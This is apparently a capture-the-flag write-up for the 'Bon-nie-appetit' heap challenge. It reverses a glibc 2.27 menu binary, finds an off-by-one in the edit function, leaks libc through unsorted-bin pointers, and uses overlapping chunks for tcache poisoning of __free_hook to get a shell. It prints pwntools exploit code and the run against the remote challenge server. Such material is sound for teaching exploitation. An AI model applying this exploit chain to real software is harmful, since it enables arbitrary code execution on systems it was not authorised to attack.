Bon-nie-appetit
13 minutes to read
We are given a 64-bit binary called bon-nie-appetit
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
Moreover, we also have the binary patched with the remote Glibc library and loader:
$ ldd bon-nie-appetit
linux-vdso.so.1 (0x00007fff11ae1000)
libc.so.6 => ./glibc/libc.so.6 (0x00007f96fdaab000)
./glibc/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f96fe0a1000)
$ ./glibc/ld-linux-x86-64.so.2 ./glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.5) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Reverse engineering
Let’s open the binary in Ghidra to analyze the decompiled C code:
void main() {
undefined4 option;
long in_FS_OFFSET;
char *orders[21];
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
memset(orders, 0, 160);
setup();
banner();
do {
menu();
option = read_num();
switch (option) {
default:
printf("\n%s[-] Invalid option!%s\n", &DAT_001012b0, &DAT_001012b8);
break;
case 1:
new_order(orders);
break;
case 2:
show_order(orders);
break;
case 3:
edit_order(orders);
break;
case 4:
delete_order(orders);
break;
case 5:
printf("%s\n[+] Your order will be ready soon!\n", &DAT_001012a8);
/* WARNING: Subroutine does not return */
exit(0x45);
}
} while (true);
}
We can see that it is a heap challenge because we have a menu to manage dynamic memory:
$ ./bon-nie-appetit
π Little Green People's Burgers π
ββββββββββββββββββββ
ββ ββ
ββ ββββ ββββ ββ
ββ ββββ ββββ ββ
ββ ββββ ββ
ββ ββ
ββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββ
ββββ ββββ ββββββ ββββ ββ
ββ ββ
ββββββββββββββββββββββββββββ
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
These objects will be stored in a variable called orders
, which is passed by reference to the rest of the functions.
Allocation function
This is new_order
:
void new_order(char **orders) {
int index;
int amount;
char *p_order;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
index = get_empty_order(orders, 20);
if (index == -1) {
printf("%s\n[-] Cannot order more!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[*] For how many: ");
amount = read_num();
p_order = (char *) malloc((long) amount);
if (p_order == NULL) {
printf("%s\n[-] Something went wrong!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[*] What would you like to order: ");
read(0, p_order, (long) amount);
orders[index] = p_order;
}
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This function allows us to enter a new chunk, indicating the size and the content. There is no vulnerability here.
For more information, we can take a look at get_empty_order
, which only finds a new slot on the orders
array. Plus, we have a maximum of 20 orders.
int get_empty_order(char **orders, int max) {
long in_FS_OFFSET;
int i;
for (i = 0; i < max; i = i + 1) {
if (orders[i] == NULL) goto LAB_00100b62;
}
i = -1;
LAB_00100b62:
if (*(long *) (in_FS_OFFSET + 0x28) == *(long *)(in_FS_OFFSET + 0x28)) {
return i;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Show function
This is show_order
:
void show_order(char **orders) {
uint index;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\n[*] Number of order: ");
index = read_num();
if ((((int) index < 0) || (19 < (int) index)) || (orders[(int) index] == NULL)) {
printf("\n%s[-] There is no such order!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[+] Order[%d] => %s \n%s", (ulong) index, orders[(int)index], &DAT_001012b8);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This function is safe as well, because it checks whether the provided index is not out of bounds and if the selected entry is NULL
or not. So, no simple Use After Free here.
Edit function
This is edit_order
:
void edit_order(char **orders) {
int index;
size_t length;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\n[*] Number of order: ");
index = read_num();
if (((index < 0) || (19 < index)) || (orders[index] == NULL)) {
printf("\n%s[-] There is no such order!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[*] New order: ");
length = strlen(orders[index]);
read(0, orders[index], length);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This function might look safe, but there is a minor bug here:
printf("\n[*] New order: ");
length = strlen(orders[index]);
read(0, orders[index], length);
Here we have an off-by-one. The problem here is that heap chunks are adyacent, so if we fill the whole data section of a chunk, then strlen
will return one byte more than the actual content length because it will take the next chunk’s size into account (more on this later).
Free function
Last but not least, this is delete_order
:
void delete_order(char **orders) {
int index;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\n[*] Number of order: ");
index = read_num();
if (((index < 0) || (19 < index)) || (orders[index] == NULL)) {
printf("\n%s[-] There is no such order!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
free(orders[index]);
orders[index] = NULL;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This one is safe because orders are set to NULL
after they are freed. Also, no straight-forward double free here.
Exploit strategy
There is only one bug in this program, which is an off-by-one in edit_order
. We can use this vulnerability to modify the size of an adjacent chunk. This is key because we can increase its size and obtain overlapping chunks, which can be used to perform a Tcache poisoning attack and target __free_hook
.
Let’s analyze how the off-by-one works in GDB:
$ gdb -q bon-nie-appetit
Reading symbols from bon-nie-appetit...
(No debugging symbols found in bon-nie-appetit)
pwndbg> run
Starting program: ./bon-nie-appetit
π Little Green People's Burgers π
ββββββββββββββββββββ
ββ ββ
ββ ββββ ββββ ββ
ββ ββββ ββββ ββ
ββ ββββ ββ
ββ ββ
ββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββ
ββββ ββββ ββββββ ββββ ββ
ββ ββ
ββββββββββββββββββββββββββββ
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> 1
[*] For how many: 24
[*] What would you like to order: aaaaaaaaaaaaaaaaaaaaaaaa
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
[-] Invalid option!
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> 1
[*] For how many: 24
[*] What would you like to order: bbbbbbbbbbbbbbbbbbbbbbbb
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
[-] Invalid option!
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
This is the heap right now:
pwndbg> vis_heap_chunks
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x555555757000 0x0000000000000000 0x0000000000000251 ........Q.......
0x555555757010 0x0000000000000000 0x0000000000000000 ................
...
0x555555757240 0x0000000000000000 0x0000000000000000 ................
0x555555757250 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757260 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x555555757270 0x6161616161616161 0x0000000000000021 aaaaaaaa!.......
0x555555757280 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x555555757290 0x6262626262626262 0x0000000000020d71 bbbbbbbbq....... <-- Top chunk
Now, if we edit the first chunk, the result of strlen
will be 25
because the size of the next chunk counts, as strings in C end in a null byte:
pwndbg> x/s 0x555555757260
0x555555757260: 'a' <repeats 24 times>, "!"
pwndbg> call (int) strlen((char *) 0x555555757260)
$1 = 25
So, we are able to set this last byte, which is the size of the next chunk:
pwndbg> continue
Continuing.
3
[*] Number of order: 0
[*] New order: xxxxxxxxxxxxxxxxxxxxxxxxA
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
[-] Invalid option!
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
pwndbg> vis_heap_chunks
0x555555757000 0x0000000000000000 0x0000000000000251 ........Q.......
0x555555757010 0x0000000000000000 0x0000000000000000 ................
...
0x555555757240 0x0000000000000000 0x0000000000000000 ................
0x555555757250 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757260 0x7878787878787878 0x7878787878787878 xxxxxxxxxxxxxxxx
0x555555757270 0x7878787878787878 0x0000000000000041 xxxxxxxxA.......
0x555555757280 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x555555757290 0x6262626262626262 0x0000000000020d71 bbbbbbbbq....... <-- Top chunk
0x5555557572a0 0x0000000000000000 0x0000000000000000 ................
As can be seen, now the second chunk’s size is 0x40
(not 0x20
as before). Notice how pwndbg
is trying to colorize the addresses in green, because it is confused right now.
Imagine that we have a third 0x20
-sized chunk. If we free it before exploiting the off-by-one, then we could achieve overlapping chunks. Notice that now that we have a chunk with size 0x40
, we can free it and allocate it again, so we have the chance to modify data from the third chunk, which is freed and overlapped with the second chunk.
Exploit development
We will use these helper functions:
def create(p, amount: int, order: bytes):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'[*] For how many: ', str(amount).encode())
p.sendafter(b'[*] What would you like to order: ', order)
def show(p, index: int) -> bytes:
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'[*] Number of order: ', str(index).encode())
p.recvuntil(b' => ')
return p.recvuntil(b'\n+=-=-=-=-=-=-=-=-=-=-=-=-=-=+\n', drop=True)
def edit(p, index: int, order: bytes):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'[*] Number of order: ', str(index).encode())
p.sendafter(b'[*] New order: ', order)
def delete(p, index: int):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'[*] Number of order: ', str(index).encode())
Leaking memory addresses
First of all, we will need to find the base address of Glibc. It is quite common in heap exploitation challenges that involve Tcache to fill the Tcache free-list for a chunk with size greater than 0x80
(to avoid Fast Bin chunks), so that when another chunk is freed, it is thrown to the Unsorted Bin. As a result, the chunk will have a pointer to main_arena
in both fd
and bk
pointers.
Although we cannot show the contents directly because there is no Use After Free, we can still allocate a new chunk there and modify only the last byte, leaving the rest of the address untouched and available to be shown.
With the following code, we will have the base address of Glibc (GDB might be needed to find correct offset):
def main():
p = get_process()
gdb.attach(p, 'continue')
for _ in range(9):
create(p, 0x88, b'asdf')
for i in range(8, -1, -1):
delete(p, i)
for _ in range(8):
create(p, 0x88, b'a')
leak = u64(show(p, 7)[:6].ljust(8, b'\0'))
log.info(f'Leaked main_arena address: {hex(leak)}')
glibc.address = leak - 0x3ebd61
log.success(f'Glibc base address: {hex(glibc.address)}')
Since we have GDB attached to the process, we can verify that our base address are correct:
$ python3 solve.py
[*] './bon-nie-appetit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './bon-nie-appetit': pid 21917
[*] running in new terminal: ['/usr/bin/gdb', '-q', './bon-nie-appetit', '21917', '-x', '/tmp/pwnsuy8tjey.gdb']
[+] Waiting for debugger: Done
[*] Leaked main_arena address: 0x7f22bfc0ed61
[+] Glibc base address: 0x7f22bf823000
[*] Switching to interactive mode
| |
| 1. Make an order π |
| 2. Show an order π |
| 3. Edit an order β»οΈ |
| 4. Delete an order β |
| 5. Finalize an order β
|
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> $
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x562cdd092000 0x562cdd094000 r-xp 2000 0 ./bon-nie-appetit
0x562cdd293000 0x562cdd294000 r--p 1000 1000 ./bon-nie-appetit
0x562cdd294000 0x562cdd295000 rw-p 1000 2000 ./bon-nie-appetit
0x562cde854000 0x562cde875000 rw-p 21000 0 [heap]
0x7f22bf823000 0x7f22bfa0a000 r-xp 1e7000 0 ./glibc/libc.so.6
0x7f22bfa0a000 0x7f22bfc0a000 ---p 200000 1e7000 ./glibc/libc.so.6
0x7f22bfc0a000 0x7f22bfc0e000 r--p 4000 1e7000 ./glibc/libc.so.6
0x7f22bfc0e000 0x7f22bfc10000 rw-p 2000 1eb000 ./glibc/libc.so.6
0x7f22bfc10000 0x7f22bfc14000 rw-p 4000 0 [anon_7f22bfc10]
0x7f22bfc14000 0x7f22bfc3d000 r-xp 29000 0 ./glibc/ld-linux-x86-64.so.2
0x7f22bfe3b000 0x7f22bfe3d000 rw-p 2000 0 [anon_7f22bfe3b]
0x7f22bfe3d000 0x7f22bfe3e000 r--p 1000 29000 ./glibc/ld-linux-x86-64.so.2
0x7f22bfe3e000 0x7f22bfe3f000 rw-p 1000 2a000 ./glibc/ld-linux-x86-64.so.2
0x7f22bfe3f000 0x7f22bfe40000 rw-p 1000 0 [anon_7f22bfe3f]
0x7ffcfa99d000 0x7ffcfa9be000 rw-p 21000 0 [stack]
0x7ffcfa9d7000 0x7ffcfa9da000 r--p 3000 0 [vvar]
0x7ffcfa9da000 0x7ffcfa9db000 r-xp 1000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Everything is perfect.
Off-by-one
We will use the following code to exploit the off-by-one vulnerability:
create(p, 0x18, b'A' * 0x18) # 8
create(p, 0x18, b'B' * 0x18) # 9
create(p, 0x18, b'C' * 0x18) # 10
delete(p, 10)
edit(p, 8, b'A' * 0x18 + b'\x41')
After executing the above, we have this heap layout:
pwndbg> vis_heap_chunks
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x5556831c8000 0x0000000000000000 0x0000000000000251 ........Q.......
0x5556831c8010 0x0000000000000001 0x0000000000000000 ................
0x5556831c8020 0x0000000000000000 0x0000000000000000 ................
0x5556831c8030 0x0000000000000000 0x0000000000000000 ................
0x5556831c8040 0x0000000000000000 0x0000000000000000 ................
0x5556831c8050 0x00005556831c8330 0x0000000000000000 0...VU..........
0x5556831c8060 0x0000000000000000 0x0000000000000000 ................
...
0x5556831c82d0 0x0000000000000000 0x0000000000000000 ................
0x5556831c82e0 0x0000000000000000 0x0000000000000021 ........!.......
0x5556831c82f0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5556831c8300 0x4141414141414141 0x0000000000000041 AAAAAAAAA.......
0x5556831c8310 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x5556831c8320 0x4242424242424242 0x0000000000000021 BBBBBBBB!.......
0x5556831c8330 0x0000000000000000 0x00005556831c8010 ............VU.. <-- tcachebins[0x20][0/1]
0x5556831c8340 0x4343434343434343 0x0000000000000031 CCCCCCCC1....... <-- unsortedbin[all][0]
0x5556831c8350 0x00007fd6ae893ca0 0x00007fd6ae893ca0 .<.......<......
0x5556831c8360 0x0000000000000000 0x0000000000000000 ................
0x5556831c8370 0x0000000000000030 0x0000000000000090 0...............
0x5556831c8380 0x00005556831c8461 0x0000000000000000 a...VU..........
0x5556831c8390 0x0000000000000000 0x0000000000000000 ................
...
pwndbg> bins
tcachebins
0x20 [ 1]: 0x5556831c8330 ββ 0x0
fastbins
empty
unsortedbin
all: 0x5556831c8340 ββΈ 0x7fd6ae893ca0 ββ 0x5556831c8340
smallbins
empty
largebins
empty
As can be seen, there is a 0x20
-sized chunk inside a 0x40
-sized chunk (the blue one), so we have overlapping chunks. Now, we can free and allocate this bigger chunk:
delete(p, 9)
create(p, 0x38, b'B' * 0x18 + p64(0x21) + p64(glibc.sym.__free_hook))
So we can control the fd
pointer of the third chunk and perform a simple Tcache poisoning attack targetting __free_hook
:
create(p, 0x18, b'/bin/sh\0')
create(p, 0x18, p64(glibc.sym.system))
delete(p, 10)
p.interactive()
We have entered system
so that we can run system("/bin/sh")
easily by deleting a chunk that contains that string. And we have a shell:
$ python3 solve.py
[*] './bon-nie-appetit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './bon-nie-appetit': pid 5917
[*] Leaked main_arena address: 0x7f0c2e53ad61
[+] Glibc base address: 0x7f0c2e14f000
[*] Switching to interactive mode
$ ls
bon-nie-appetit flag.txt glibc solve.py
$ cat flag.txt
HTB{f4k3_fl4g_4_t35t1ng}
Flag
Let’s try remotely:
$ python3 solve.py 144.126.228.151:31842
[*] './bon-nie-appetit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 144.126.228.151 on port 31842: Done
[*] Leaked main_arena address: 0x7f9b45907d61
[+] Glibc base address: 0x7f9b4551c000
[*] Switching to interactive mode
$ ls
bon-nie-appetit
flag.txt
glibc
$ cat flag.txt
HTB{l1bc-2.27_h45_l1ttle_gr33n_ppl_1n51d3}
The full exploit script can be found in here: solve.py
.